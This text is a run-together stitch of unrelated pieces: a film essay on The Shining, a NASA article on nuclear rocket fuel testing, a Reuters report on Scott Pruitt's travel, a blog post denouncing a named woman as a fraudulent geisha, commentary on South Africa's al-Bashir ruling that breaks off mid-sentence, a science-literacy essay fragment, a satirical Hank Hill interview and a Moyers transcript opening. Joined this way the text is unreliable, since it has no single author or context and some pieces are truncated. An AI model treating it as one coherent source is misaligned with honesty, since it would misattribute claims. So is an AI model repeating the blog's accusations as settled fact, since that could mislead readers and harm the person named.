In a way, Jack has always been in charge of most of the concerns in his life. He has his wife Wendy pinned under his thumb; a stay-at-home mom who spends most of her time looking after Danny and abiding to Jack’s every whim and desire. Not only is he the father of their boy, but to Danny, Jack is the end-all be-all of parents. Despite Wendy’s more prominent love and affection, Danny can’t help but show some favoritism towards Jack, cementing Wendy’s belief that if she ever left her husband, her son would never forgive her. Up until recently, Jack was also a school teacher, but his drinking left an irreversible stain on his record, in addition to a frightened family in his home. However, the loss of control Jack felt when he was fired has been regained somewhat since he took on his new title as caretaker of the Overlook Hotel. Now, he has a second chance to finish his novel, prolong his sobriety, and prove to his family once and for all that he is a man that they can depend on, as they wait out the five months of winter together on the hotel’s frozen grounds. Of course, this is where it all goes horribly wrong.
To Jack, the night that he broke Danny’s arm is just another event that he’ll always be blamed for, but to Danny, it is the first appearance of Tony. Tony is Danny’s imaginary friend that lives inside of Danny’s mouth and shows him things. Sometimes, the pictures Tony reveals are a simple harmless glance into the future, or a peek inside someone’s brain, but sometimes, they’re much, much worse. Lately, with the news about the Overlook Hotel came more horrid images; depictions of hallways permeated with gallons of slushing sticky blood, and the corpses of young girls strewn about like lifeless rag dolls, cursed to remain the same adolescent age for all of eternity. A similar thread between author Stephen King’s Carrie and his novel The Shining exist, in which children put under tremendous amounts of severe discipline begin exhibiting unusual talents when they are truly pushed to the brink. Despite director Stanley Kubrick’s extreme deviation from the source material, this important detail remains intact, and stands as a strong commentary for the impact parents have on their kids. Like an origin story for a superhero, Jack’s night of violent aggression has forced Danny to spring forth a new power, but even he does not understand the sheer strength of his gift. To this little boy, Tony is just an imaginary friend like any other, when in actuality, it is “the shining”.
It’s not until Danny meets Dick Halloran, the Overlook cook, that he begins to comprehend the overwhelming amount of power that he stores within his tiny skull. Halloran can “shine” too, as he informs Danny through telepathic communication when the two share a conversation without speaking a word. Being able to shine does not indicate an ability to speak with the powers that be, but rather, it presents a more open and honest interpretation of the world. Every single thought that a person thinks is not written out like a billboard made easy for Danny and Halloran to read, but if they are feeling inordinately guilty or frustrated about something, these two will know it. They can sense it. They do not choose what is shown to them, but sit back and receive calls, from the living and the dead, like an operator who waits on standby; stuck as a middle man between worlds. Sometimes it’s an evil thought, sometimes it’s a vision of what’s to come, and sometimes it’s an openness to the sights and sounds of the ghoulish bodies that occupy the Overlook Hotel, but undoubtedly, it is a gift that will come in handy when Jack falls into a maniacal trance towards the end of this tragic tale. Of course, Jack can shine too. It’s not as touched upon by Kubrick as it is by King, since the director prefers to present ideas visually as opposed to audibly, but Jack, too, shares this gift, which may actually be the reason why he is able to see the ghosts that haunt the halls so clearly, and why he is such an easy victim for these spirits to prey on.
From the moment he enters the hotel with his family, Jack never again steps foot outside of its walls — engulfed by its aura from the very beginning, Jack is the hostage in this situation; the hotel, the captor, and his family is just along for the ride. Wendy and Danny take walks and chase each other outside; running and laughing with glee, but Jack is always within the confines of the walls, staring out at his wife and child through a window like a soulless stone; a man who became a ghost long before he takes his final breath. Though his expression remains dull and void, the mirror in his bedroom offers some insight into his warped brain, and acts as chapter markers in Jack’s state of sanity. In the beginning, we see Jack reflected in the mirror as a little on edge, but happy as he scarfs down the eggs and bacon Wendy has brought him. Halfway through the film, however, when Danny interrupts Jack’s nap to retrieve his fire engine from their room, we see Jack reflected as a zombie-like figure in the glass; holding his son emotionless as he tells him that he wishes they could stay at the Overlook “forever…and ever…and ever…”. By the end of the film, the biggest indication of Jack’s plunge into madness is when Danny writes “Redrum” on the mirror — the same mirror that has been signaling Jack’s slow decay as he transitions from human to vengeful ghost. Moments after Wendy looks into the mirror and sees “murder” reflected back at her, Jack barges into the room, ax in hand, eyes empty and hollow, lips grinning in triumph — the hotel has won.
But perhaps the loudest, most significant piece of symbolism in the film is the hedge maze; an item that shockingly does not even exist in King’s original text. The maze and the hotel are one in the same, with the maze representing the Overlook as Jack enters and quickly becomes lost in its dreamy white glow; a place where time is irrelevant and spins in fragmented loops like a skipping record. He may have been sober for five straight months, but the five months he spends as caretaker of this damned property inevitably due him in. It’s not long before he’s back on the bottle, losing himself metaphorically with “the white man’s burden” long before he literally is inadvertently trapped within the snow-caked shrubs outside. His brief bathroom encounter with Delbert Grady signals a turning point in his story, a momentary pause that might have allowed Jack to travel down a different path if had decided that his family did not need “correcting” as Delbert Grady’s did, or more recently, as Charles Grady’s did. But alas, Jack was always meant to be here, at this hotel, on this date, and here he will stay forever. There’s a party in the ball room now, and it might as well be to honor Jack’s long-awaited coming home.
Wendy is on a journey of her own, not into madness, but rather, to heroism. At the beginning of the film, she is a wounded animal, in denial, making up excuses for her husband who hurt their son, and always the first to admit fault and back down from a fight, so long as there is peace, or a quiet resemblance of it. She does her best to keep their marriage together, for Danny’s sake, for she knows what future lies ahead for broken boys who grow up without a father. In her mind, it’s better to stay with an abusive husband and an adequate father rather than no father at all. She is impish and afraid of confrontation, but when Jack becomes possessed by the seething hatred that echoes throughout the establishment, Wendy is forced to convert to a fiercer, more primal presence; a person that is capable of doing things that she cannot. Delbert Grady was right in assuming that Wendy had gotten the better of Jack, because it was her that threw a wrench into the gears of the mechanism that had claimed so many lives throughout the years; it was she that refused to become another cautionary tale for the next caretaker of the Overlook Hotel. Wendy, the complex female character with a traumatizing arc, is the only component in this repeating tale that has been any different from the previous loops, and for that, she not only becomes the hero of the story, but one of the only people to see the underbelly of the beast and live.
Jack, on the other hand, is devoured slowly, over time, engulfed in a frozen sarlacc pit where time ceases to exist and he is forced to carry out the same fate as the previous caretakers. Delbert Grady murdered his wife and two daughters in 1921, inciting a hostile presence that would forever float and claim any other that would come along and take on his position. In the tragedy of the winter of 1970, Charles Grady, a man who seemed perfectly normal at the time, watched over the hotel during the months when the specs of light from the windows poked out like sleepy eyes from the snow-covered Overlook. A few months into his tour of duty, he, too, murdered his wife and two daughters before swallowing a bullet himself. Just a few years later, the Torrance family set up their new home in the haunted hills of Sidewinder, Colorado, and endured the same treatment from the terminal guests during their stay. In his own way, the original Delbert Grady has been dueling out corrections and leading families through the tricky winding path of the Overlook Hotel ever since he checked in, back in the 1920s. Wendy and Danny might have escaped, but the impression that the hotel left on their lives signifies that no one ever truly escapes the Overlook without having a piece of themselves caught in the spirit’s jaws; forever sprung open, awaiting its next tasty morsel.NASA Researchers Studying Advanced Nuclear Rocket Technologies
by Rick Smith for Marshall Space Flight Center
Huntsville AL (SPX) Jan 10, 2013
A glimpse of NTREES testing in progress in mid-2012, as a non-nuclear fuel element is heated to more than 3,200 degrees Fahrenheit while hydrogen is funneled through it. (MSFC/Emmett Given).
Advanced propulsion researchers at NASA are a step closer to solving the challenge of safely sending human explorers to Mars and other solar system destinations. By using an innovative test facility at NASA's Marshall Space Flight Center in Huntsville, Ala., researchers are able to use non-nuclear materials to simulate nuclear thermal rocket fuels -- ones capable of propelling bold new exploration missions to the Red Planet and beyond.
The Nuclear Cryogenic Propulsion Stage team is tackling a three-year project to demonstrate the viability of nuclear propulsion system technologies. A nuclear rocket engine uses a nuclear reactor to heat hydrogen to very high temperatures, which expands through a nozzle to generate thrust. Nuclear rocket engines generate higher thrust and are more than twice as efficient as conventional chemical rocket engines.
The team recently used Marshall's Nuclear Thermal Rocket Element Environmental Simulator, or NTREES, to perform realistic, non-nuclear testing of various materials for nuclear thermal rocket fuel elements.
In an actual reactor, the fuel elements would contain uranium, but no radioactive materials are used during the NTREES tests. Among the fuel options are a graphite composite and a "cermet" composite -- a blend of ceramics and metals. Both materials were investigated in previous NASA and U.S. Department of Energy research efforts.
Nuclear-powered rocket concepts are not new; the United States conducted studies and significant ground testing from 1955 to 1973 to determine the viability of nuclear propulsion systems, but ceased testing when plans for a crewed Mars mission were deferred.
The NTREES facility is designed to test fuel elements and materials in hot flowing hydrogen, reaching pressures up to 1,000 pounds per square inch and temperatures of nearly 5,000 degrees Fahrenheit -- conditions that simulate space-based nuclear propulsion systems to provide baseline data critical to the research team.
"This is vital testing, helping us reduce risks and costs associated with advanced propulsion technologies and ensuring excellent performance and results as we progress toward further system development and testing," said Mike Houts, project manager for nuclear systems at Marshall.
A first-generation nuclear cryogenic propulsion system could propel human explorers to Mars more efficiently than conventional spacecraft, reducing crews' exposure to harmful space radiation and other effects of long-term space missions.
It could also transport heavy cargo and science payloads. Further development and use of a first-generation nuclear system could also provide the foundation for developing extremely advanced propulsion technologies and systems in the future -- ones that could take human crews even farther into the solar system.
Building on previous, successful research and using the NTREES facility, NASA can safely and thoroughly test simulated nuclear fuel elements of various sizes, providing important test data to support the design of a future Nuclear Cryogenic Propulsion Stage.
A nuclear cryogenic upper stage -- its liquid-hydrogen propellant chilled to super-cold temperatures for launch -- would be designed to be safe during all mission phases and would not be started until the spacecraft had reached a safe orbit and was ready to begin its journey to a distant destination. Prior to startup in a safe orbit, the nuclear system would be cold, with no fission products generated from nuclear operations, and with radiation below significant levels.
"The information we gain using this test facility will permit engineers to design rugged, efficient fuel elements and nuclear propulsion systems," said NASA researcher Bill Emrich, who manages the NTREES facility at Marshall. "It's our hope that it will enable us to develop a reliable, cost-effective nuclear rocket engine in the not-too-distant future."
The Nuclear Cryogenic Propulsion Stage project is part of the Advanced Exploration Systems program, which is managed by NASA's Human Exploration and Operations Mission Directorate and includes participation by the U.S. Department of Energy.
The program, which focuses on crew safety and mission operations in deep space, seeks to pioneer new approaches for rapidly developing prototype systems, demonstrating key capabilities and validating operational concepts for future vehicle development and human missions beyond Earth orbit.
Marshall researchers are partnering on the project with NASA's Glenn Research Center in Cleveland, Ohio; NASA's Johnson Space Center in Houston; Idaho National Laboratory in Idaho Falls; Los Alamos National Laboratory in Los Alamos, N.M.; and Oak Ridge National Laboratory in Oak Ridge, Tenn.WASHINGTON/NEW YORK (Reuters) - The frequent travels of the head of the U.S. Environmental Protection Agency, Scott Pruitt, to Oklahoma will be investigated following congressional requests, the agency’s Office of Inspector General said on Monday.
FILE PHOTO: Environmental Protection Agency Administrator Scott Pruitt speaks during an interview for Reuters at his office in Washington, U.S., July 10, 2017. REUTERS/Yuri Gripas
Pruitt’s many travels to his home state have fueled speculation that he intends to run for the U.S. Senate from Oklahoma.
“Administrator Pruitt is traveling the country to hear directly from the people impacted by EPA’s regulations outside of the Washington bubble,” said Amy Graham, an EPA spokeswoman. “This is nothing more than a distraction from the Administrator’s significant environmental accomplishments.”
The Office of Inspector General said it would look into the “frequency, cost and extent” of Pruitt’s travels to Oklahoma through July 31, and whether travel policies and procedures were followed.
It said the investigation will also aim to determine “whether EPA policies and procedures are sufficiently designed to prevent fraud, waste and abuse with the Administrator’s travel that included trips to Oklahoma.”
Pruitt was in Oklahoma on at least 43 of the 92 days of March, April and May, according to copies of his travel records obtained by the Environmental Integrity Project watchdog group and reviewed by Reuters last month.
The travel records show Pruitt’s schedule this spring often took him to cities in the U.S. heartland where he held meetings, often with oil and gas industry representatives, made speeches and attended events before flying to Tulsa for extended weekends. The records showed Pruitt paid for some legs of the trips directly related to his visits home, although it was not clear he paid for all such legs.
Pruitt has riled environmentalists by raising doubts about climate change and by vowing to sweep away scores of Obama-era regulations to help business.
“Pruitt seems to be using these visits to launch his political career,” said Melinda Pierce, legislative director for the Sierra Club, an environmental group that has been deeply critical of Pruitt. “Perhaps he should use polluter money to fund these trips if he’s going to continue doing their bidding.”
Before becoming head of the EPA under Republican President Donald Trump in February, he was Oklahoma’s attorney general and repeatedly sued the agency he now runs to block federal environmental rules.This is a term that I can’t help but use when I talk about said subject matter. What is a “fake” geisha anyway? Well, it’s a person who pretends to be a geisha but is not a real geisha. I’m not talking about cosplay or henshin, but rather, a person who promotes themselves as a geisha but is not affiliated with any city, district, or even kenban, yet continues to attempt to con people into thinking that they are something that they clearly are not. Usually I keep quiet on said subjects, but due to events that occurred last week I can’t help but weigh in on this publicly. As usual when it comes to things like this, all sources can be found at the end.
For those of you who are unaware of the issue, last week the con artist known as “Sayuki” did a Reddit AMA. The results were quite predictable: she admitted that she did it to promote herself in her usual narcissistic fashion and got completely shut down by the online community. You don’t need a degree to use Google to find the dirt on this woman, but I’d rather lay this out in a more practical way (with evidence) so, for research purposes, I aim to educate people once and for all on why this person is absolutely despised in all areas of the karyukai and even within Japan.
Fiona Graham, much like Dr. Liza Dalby before her, wanted to do her doctoral thesis on geisha. She was studying in the Asakusa district in Tokyo and had told her okasan that she never planned on becoming a geisha, but rather wanted to observe and possibly make a book out of it. After months of pandering and taking lessons on the side her okasan allowed her to debut as a trainee. It’s important to note here that she was not a full geisha. She likes to claim that she debuted as a full geisha but she never finished her training period. Once she “debuted” she immediately set up her own website full of her lies and basically sent out her story to every news outlet in the world. This is the first problem: geisha are humble and do not seek out attention and fame. They live to promote and cultivate their gei, not to show off about their status. She went so far as to even get an interview with Oprah Winfrey and promote the idea that she was “the first Western geisha” (which is not true). Why is that entire title wrong? Well, besides not being a full geisha she was far from the first Westerner or Non-Japanese to become a geisha. I do not count Dr. Dalby as a geisha as she did her fieldwork with respect and never personally claimed to be a geisha herself (although many people in the West promoted her as such). There are accounts of women from Eastern Europe becoming geisha prior to World War II, although the written documents are scattered and some disagree as to where they specifically originated from. Even if Ms. Graham was actually the first “Western” geisha that is, as stated above, something that a true geisha does not promote. It’s one thing to announce her debut, but a completely different issue when you tell international media all about your supposed status. It’s important to also note that she never got to perform in public performances.
Obviously, it didn’t take long for her to break established rules of the hanamachi; she started taking her own bookings and she was performing on the side in art forms that she was not given permission to practice in public (this is a very important part of the karyukai hierarchy). Needless to say, many of her fellow geisha, trainees, and okasan were not happy with her behavior, but apparently being reprimanded did nothing to stop her from breaking the rules. Just over a year after her “debut” her okasan retired and she pushed the Asakusa kenban to grant her ownership over her okasan’s okiya. Now, if the thought of a trainee demanding to take over an okiya isn’t ridiculous enough, she also demanded that she be allowed to take on trainees. Needless to say, this was the final straw for the Asakusa geisha. She was formally kicked out in early 2011. If you ask her she’ll say that it was because she couldn’t inherit the okiya because she was Caucasian (which is not the case) or that she took time off to “recover” from the Tohoku Earthquake (which is also untrue). Either way, she was no longer a practicing anything and was basically banished from the karyukai.
So, what did she do next? Unlike other people who would do something else in life (as she clearly did not complete her doctoral thesis) she continued to promote herself as a geisha and send another round of stories to the international media, this time about her sob story surrounding how she (falsely) could not inherit her okasan’s okiya. Now, while pretty much everyone fell for her lies of being a geisha the first time, news outlets actually got skeptical this time and interviewed various members of the Asakusa hanamachi. The overwhelming consensus from the true geisha and members of Asakusa was that she was kicked out for never following the rules and for bringing shame to the district. A long time geisha, Norie (乃りゑ), even publicly spoke out about Ms. Graham’s ridiculous claims in an effort to back up the ruling of her district. To quote her:
“そうそう。何かと話題になっていたオーストラリア人芸者「紗幸さん」ことFiona Grahamさんが２月末を持って東京浅草組合より除籍となりました。組合の対応が遅すぎましたが。(–;)もう「芸者」ではありませんので “
“Oh, right. There was information that the Australian geisha “Sayuki” called Fiona Graham was expelled from Asakusa geisha association. The decision came late. She’s not a geisha anymore.”
“置屋さん、組合からの注意を無視し続けた結果ですが、ご本人は全く納得されてないそうで。どうかあまり事を荒立てないで頂きたいですね.”
“Okiya-san didn’t put attention to continuing warnings from geisha association, but Fiona absolutely wasn’t agreeing. Looks like that.”
The Tokyo Shimbun interviewed members of the Asakusa community and published a full article on this story (found at the end), but the one that makes Ms. Graham the most angry was an article published in The Telegraph in England. She continues to state that it was written from “gossip” from an anonymous “insider”, yet the claims in the article are backed up by the Shimbun and the tweets by Norie. For the first time, the English speaking world was alerted to the truth about her assumed identity as a geisha, and she is still desperately trying to discredit that article in an attempt to continue her con on unsuspecting people.
Since being kicked out she’s attempted to establish her own okiya in Tokyo and a small town in Hokkaido (both of which have failed), and tries to get speaking engagements all around the world to keep income coming in. While promoting her false story of being kicked out to the media she even took on unsuspecting girls as “apprentices” (and continues to do this!), even though the Japanese do not recognize her as an actual geisha. She even had the audacity to name one of her apprentices “Sayuri”, just like the main character in the horribly inaccurate book “Memoirs of a Geisha” by Arthur Golden. As of today she’s still trying to sell her sob story and trying to say that she’s the only Non-Japanese geisha to ever be in the sisterhood! Right now there are six women working in various hanamachi in Japan that are not Japanese, one of them being the American-born Kimichō (who is quite respectful and can be found here on Tumblr).
This brings everything back to last week’s Reddit AMA (Ask Me Anything). It appears that Ms. Graham was attempting to get her name back in the spotlight because business is faltering and she’s trying to get new unsuspecting girls to join her in her con (and, yes, this is a con and I will explain the use of the word later). She used the same old sob stories, but was thoroughly fact checked and her claims were discredited by the online community. She has now gone into “hiding” and refuses to answer anymore questions, unless it’s about trying to book her for a speaking engagement.
Now, how can I call what she’s doing a “con” and not actually be slandering? Because she’s a convicted con artist. She was found guilty on numerous charges of fraud in New Zealand and will be arrested if she ever goes back there. Therefore, anything that she does can be referred to as a con because it is an action taken by a convicted con artist.
In the end, this a woman who needs to be outed for her many crimes, both legally and against the written (and unwritten) rules of the karyukai. She is not a geisha. She never was a full geisha. She was not the first Western person to enter the karyukai. She is a con artist and a fraud. She is a dangerous individual who will do whatever it takes to keep her false stories from being discovered for the lies that they are. Do not approach her or attempt to speak with her.
Edit: Thanks to some awesome readers I was pointed in the direction of an article written back in 2013 about cultural appropriation. It brings up some great points and it was already known three years ago how much of a fraud she was around the world. Did I mention that the people who wrote this great article are Kenyan? When you have African peoples calling you out on your cultural appropriation then you know that you’ve done something pretty damn bad.
______________________________________________________________
Sources
https://www.flickr.com/photos/36962691@N03/sets/72157625293604934/with/5137942953/
-A magazine article printed in Western media. A highlight of it includes:
“Sayuki jokes about her lack of skills. ‘I’m a very bad geisha.”
“We go to the Senso-ji temple in Asakusa. As we walk to the office, a young woman stops me to tell me in English that Sayuki’s obi (her wide cloth belt) is tied incorrectly. When I explain to the woman that Sayuki is a geisha, her eyes widen for a moment, before she smiles and says, ‘But I am Japanese and I know it is wrong’.” (which it was).
http://web.archive.org/web/20110607225314/http://www.tokyo-np.co.jp/s/article/2011060790070110.html
-The Tokyo Shimbun’s article about her being kicked out. I used a cached version since the main website is having a problem loading it.
https://twitter.com/kikunorie/status/44238126142595072
https://twitter.com/kikunorie/status/44265358110101504
-Norie’s public tweets about the situation. Translations are courtesy of hopeitwillendup on the forums.
http://web.archive.org/web/20110425200628/http://tonchamon.cocolog-nifty.com/blog/2011/03/asakusa-geisha-.html
-An article about some of the things that she apparently got kicked out for (some of these claims may be unverified). A cached copy was used for the link.
http://www.telegraph.co.uk/news/worldnews/asia/japan/8556540/First-ever-Western-geisha-leaves-the-sisterhood.html
-The Telegraph article - the first English published news of her leaving
http://blogs.wsj.com/japanrealtime/2011/06/07/foreign-geishas-future-uncertain/
-An article from The Wall Street Journal about her leaving
http://thehorizonsun.com/uncategorized/2013/04/10/first-caucasian-geisha/
-Another article about her and how she was kicked out
http://www.dailymail.co.uk/femail/article-2115146/Australian-Fiona-Graham-Caucasian-geisha-girl-Japan.html
-A Mail Online article about her being kicked out (does have many inaccuracies about geisha in it though)
http://metro.co.uk/2013/07/25/meet-sayuki-the-worlds-first-western-geisha-3897452/
-An article that was not fact checked and is full of the lies that she spread before attending an event in England
http://www.womenofchina.cn/html/womenofchina/report/143660-1.htm
-An article about her trying to get new “trainees”, and specifically about her “trainee” named “Sayuri”
http://www.stuff.co.nz/southland-times/news/10512360/Fines-not-deferred-for-geisha
-An article detailing her convictions for fraud in New Zealand
https://www.reddit.com/r/IAmA/comments/4yeris/i_am_sayuki_the_only_nonjapanese_geisha_in_the/
-The now infamous Reddit AMA
http://thisisafrica.me/ego-driven-appropriation-african-cultures/
-The Kenyan article on cultural appropriation.It says something for the mixture of cynicism and pessimism in our political and legal circles, that once the Southern African Litigation Centre brought its application to have al-Bashir arrested and sent to the International Criminal Court, no one seriously thought that it would actually happen. Almost everyone who understood the issues knew that the courts would order his detention, but no one thought that this order would be carried out. It says something about our president, and the state of the ANC right now, that there was always only one way that this would end.
The three judges in this case, Judges Dunstan Mlambo, Hans Fabricius and Aubrey Ledwaba, perhaps allowed a little of their personal disappointment to show, right at the end of their joint ruling.
They ask three questions:
How could Bashir and his entourage travel on Monday from Sandton to Waterkloof without government knowing?
How could the plane take off without government knowing if he was on board? and
How could that plane arrive in Sudan that afternoon, if it hadn't left by noon that same day?
At the same time, government's advocate, William Mokhari, was telling the court to ignore media reports al-Bashir had already left, because he was still in the country.
Then, in a telling phrase, Mlambo wrote, "The answers suggest themselves", before explaining that he was not pre-judging government's answering affidavit, due to be submitted on Thursday.
Still, it's perfectly obvious that government did know al-Bashir was moving to Waterkloof, did know he was on the plane, and did know he had left at around noon on Monday.
That cynicism reveals itself slightly earlier in the ruling as well, when Mlambo points out that last Monday, with the clock ticking, government's answering papers were only filed at 11:25 instead of at 9:00 and that the "lack of an explanation for the lateness is particularly significant as the Answering Affidavit only consisted of 24 typed pages... In our experience, this could easily have been produced within a few hours".
It's quite a thing when judges accuse government, in this case five ministers and their directors general, of lying. But that is surely what these judges are doing here. They are not quite ascribing motive, but it's plain to see.
Perhaps the most interesting legal contest within this ruling is the debate around whether the "immunity" that government claims al-Bashir qualified for is present or not. Put simply, government's case appears to be that the African Union requested, as part of the "technical agreement" between it and South Africa as the hosts, that all the heads of state have diplomatic immunity. Government |
they paid as well as others, such as sports stars, movie stars, and investment bankers. In the U.S., the most popular public figures are jocks and entertainers, not exactly role models for the intellectual improvement of our country. Mooney and Kirshenbaum (2009) put some of the blame on the poor scientific communication skills and lack of PR efforts by scientists to make their work more accessible and better known to the public.
No doubt all of these things are true to some extent, but they’re all missing the elephant in the room that is apparent in these data: the stultifying influence of creationism in U.S. science education. Most of the examples of science illiteracy revealed in common survey questions, such as the mistaken notions about the age of the earth and Big Bang, or whether humans lived with dinosaurs, or whether we share a lot of DNA with chimps, are clearly so out of line with reality because they are part of the creationist dogma. No matter what kids learn in school about these subjects, their religious training at home overcomes the best efforts of their teachers—and their ideas rarely change as they become scientifically illiterate adults.
The single biggest predictor of national success in science literacy is the degree to which a country is not dominated by dogmatic religious beliefs, whether it be fundamentalist Christianity or conservative Islam. As Jon Miller documented, most of these industrialized European and Asian countries have no such strong forces of religious dogmatism in their politics and culture, and their schools teach evolution and other scientific topics with almost no interference by religious zealots.
The accommodationists say that scientists must not offend the religious community in the U.S., because they are too numerous and powerful, and we need allies among the Catholics and the more moderate Protestants and Jews, wherever we can get them. As someone who grew up in a religious family and tries not offend them, I can understand this laissez faire attitude. But if these data are correct, appeasing the religious and trying to make evolution and astronomy and anthropology sound more palatable and less threatening to our religious notions really doesn’t help. Only the decline in dogmatic religious beliefs seems to predict a greater science literacy rate. As Greg Paul and Phil Zuckerman (2008) and many people have noted, the least religious of these European countries also have a very high standard of living and better sense of well being. They share another thing in common: they are countries with strong social safety nets (guaranteed health care, job security, good retirement and vacation benefits, good child care). In these countries (especially in Scandinavia and Germany), most people no longer worry much about these mundane matters of survival, and no longer feel the need to pray to a deity to protect them against the lack of health coverage, few benefits or job security, scanty retirement savings, and lack of child care that plagues many middle and lower class people in the U.S. Yet their economies are thriving, their standards of living are very high, and they have relatively few people who are poor.
Certainly, the issue of why Americans are so ignorant of science is a complex one that doesn’t have a simple single-factor answer. It is probably a nexus of causes, from media dominated by junk entertainment and little real science, to the problems with educating students, to the raging hormones of teenagers, to the big problem of dogmatic religion actively opposing science and reason in this country. Whatever the cause, the consequences are severe.TO MOST OF THE TV NATION, Arlen’s Hank Hill is the star of the most watched cartoon show on prime time, Fox’s Emmy-nominated King of the Hill. To us Texans, Hill is one of the most recognized good ol’ boys in America, the common- sense, no bullcorn, plain-talking embodiment of suburban Texas, circa 1997. A kind of EveryTexan. Of course, Hill has had some help from series creator, writer, and fellow Texan Mike Judge, who also created Beavis and Butt-head. And the Sunday evening time slot between The Simpsons and The X-Files hasn’t hurt any. Since King of the Hill debuted in January, the show’s characters have entered the pop vocabulary, with people mimicking Hill’s twang, Dale’s redneck paranoia, and Boomhauer’s comic mumble.
My recent efforts to interview Hill, which resulted in a thorough screening from his publicist and his subsequent demand for a written Q&A, gave rise to the belief that Hill, propane salesman and family man, had gone Hollywood and gotten the swole head after only twelve episodes. But I came away impressed. Within his carefully measured responses lurks a guy who actually seems to live up to his billing, a Texas star a helluva lot more real than Larry Hagman. Just how real? You be the judge.
You’re perhaps the most recognized Texan in the world and now you’re a Texas Monthly Texas Twenty. Does this place a great burden on your shoulders?
It’s more of a pain than a burden, and in an area due south of the shoulders. Being recognized, I mean. Not the part about the Texas Twenty. I consider that a great honor.
In its first season your show tackled a number of topics that resonate far beyond Texas, such as race relations, constipation, getting along with relatives, guitars and golf, and smoking. Was it your idea to bring up these sensitive issues on national television? Do you plan to discuss similarly sensitive issues in the coming season?
Do I seem to you like a person who wants his constipation “resonating” far beyond Texas? Heck, I didn’t want it going past the bathroom door. Unfortunately, these things happen in our house, and that’s what our episodes are based on. Personally, I wish we were doing this show back in the fifties, when “sensitive issues” were things like Bobby getting stuck up a tree or Peggy ruining an apple pie. Now that was television. But the times have changed. Today, if Bobby got stuck up in a tree, it would probably be with a transvestite drug pusher, and Peg’s pie would get her picketed for endangering an old-growth apple orchard. So you can expect more of these “sensitive issues” next season. But, for Pete’s sake, don’t expect me to discuss them.
In a recent issue of The Weekly Standard, political commentator Daniel Wattenberg describes your point of view as that of a social conservative: “The Hill family … live in fictional Arlen, Texas, a plain-vanilla, middle-class suburb … [they’re] the kind of middle-American family that Hollywood has made sport of for a generation from the Bunkers in the 70’s through the Bundys of the 90’s.” Do you agree with his assessments?
First of all, this Mr. Wattenberg had best hope he never breaks down in Arlen, Texas, because the folks around here don’t appreciate having their town called fictional. As for the rest, so long as Mr. Wattenberg doesn’t assess lawn mowers, I’ll reserve my political commentaries for the arena where they belong: the alley behind the house.
Oh, yes, and one more thing. My wife, Peggy, who was voted Substitute Teacher of the Year in 1996, says that sentence”made sport of for”is awkward and that if Mr. Wattenberg was in her class, she’d ask him to rewrite it.
Do you prefer Wranglers, Levi’s, Lees, or Dickies for casual pants?
Sir, those are all good brands, but the label I look for in pants is the one that says “Made in America.” And I don’t mean just the labelI read somewhere that most “Made in America” labels are now made in China. Well, that’s not good enough for me. I don’t want to wear pants made in some dirty, dangerous Third World sweatshop. I want my pants made in a dirty, dangerous American sweatshop.
For your barbecue pit, do you use charcoal, gas, or wood? If wood, what kind of wood? If gas, why is gas so good?
We have a saying in my business: “A barbecue without propane is like a day without sunshine.” It’s based on an old Roman saying: “A day without wine is like a day without sunshine.” I know a lot of folks like to cook with charcoal and mesquite, and I suppose that’s okay if you don’t mind polluting the atmosphere, destroying the ozone layer, and throwing away your children’s college fund on expensive carbon-based fuel.
Who do you think was our best president and why?
There can only be one answer to who our best president was: Dwight Eisenhower and Ronald Reagan. They both stood up against the communist menace and protected free enterprise so that the rich could get richer and buy more propane.
Who are your heroes in Texas history?
Well, this may sound trite, but my heroes have always been Cowboysespecially during the sixties, when I could name every player on the team. Of course, back then, players didn’t hop around like these free agents today. If you were drafted a Cowboy, you stayed a Cowboy until you retired or they carried your remains off the field. My other Texas heroes are Willie Nelson, Bum Phillips, all those guys who died at the Alamo, and of course, our town namesake, Leland “Goose” Arlen. Senator Goose, as he liked to be called, was the Tri-County’s most distinguished legislator. He served forty years in the statehouse and, after his conviction, another ten in the big house. Most people remember him as a drunk, a womanizer, a liar, and a thief. But he was more than just a great Texas politician. He was also a man of vision: If he hadn’t bribed the Beltway Commission to build an exit ramp onto the land he swindled from the farmers, Arlen wouldn’t be here today. So he’ll always be a hero to us, and I’d say that even if I didn’t supply the propane for his eternal flame at the ROTC Veterans Cemetery.
As we enter the twenty-first century, what challenges do Texans face?
Killer bees, crabgrass, and finding a replacement for Troy Aikman.
How in the Sam Hill do you understand what Boomhauer is saying?
It’s not that hard, really. The trick to understanding Boomhauer is to listen to what he means, not what he says. And having a couple of beers under your belt doesn’t hurt either.READ THE TRANSCRIPT
BILL MOYERS: This week on Moyers & Company…
JUNOT DÍAZ: The biggest megaphones want to talk about the person on top. They want to talk about the hero, the winner. But the little megaphones, you're in a library with your librarian, you're working at the church in the basement, helping folks out, you're coming in to a home and reading to elderly. There are all these other little megaphones that are telling you and whispering that "This is beauty, this is humanity, this is America."
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BILL MOYERS: Welcome. Junot Díaz is known to start conversations some folks would rather not have. Here he is at a recent conference in Baltimore, urging the audience to take a page from José Martí, the revolutionary poet and hero of Cuba's independence from Spain:
JUNOT DÍAZ: You need to cultivate the Martí mind. The Martí mind is simply that, as much love as I have for my own group, I have for every other group. To take possessive investment in each others’ struggles. Where whatever’s happening to the Gay community, is happening to us. Whatever’s happening in the Asian community, that’s us. Instead of possessive commodified investment in our identities, we need to take possessive investment in our other communities’ struggles.
BILL MOYERS: The life and work of Junot Díaz contain many worlds – and that makes him all the more worth listening to. His imagination journeys between the old and the new, between the America that was and the America we’re becoming. Straddling different cultures – yet American to the core -- he seems to be looking in every direction at once: a spotter of the future, a curator of the past, a man very much of the here-and-now. In his first book, Drown and in The Brief Wondrous Life of Oscar Wao -- the novel that won him the Pulitzer Prize -- Díaz writes in short, vivid strokes of realspeak. His recent collection of short stories, This Is How You Lose Her, was a finalist for the National Book Award.
Díaz, the novelist, once considered becoming an historian and to this day he summons his creative gifts by looking to his own past. He was born in the Dominican Republic, part of that Caribbean island with a split personality, in what he calls a “super gangster neighborhood” and came of age among the “super poor” in New Jersey. Along the way, he developed a literary curiosity that pivots from dystopian visions of science fiction to the 19th century classic novel, Moby Dick. In Captain Ahab's whaling crew, men of every race are thrown together in pursuit of the elusive and the mythical. Diaz sees in this a parable of America then and now. He teaches creative writing at MIT and recently received a prestigious MacArthur Fellowship, the well-known and coveted “genius grant.”
Junot Díaz, welcome.
JUNOT DÍAZ: Oh, thank you for having me.
BILL MOYERS: Well, I've wanted to have you, because I've wanted to ask one of America's foremost storytellers what's the story you're telling yourself out of this election?"
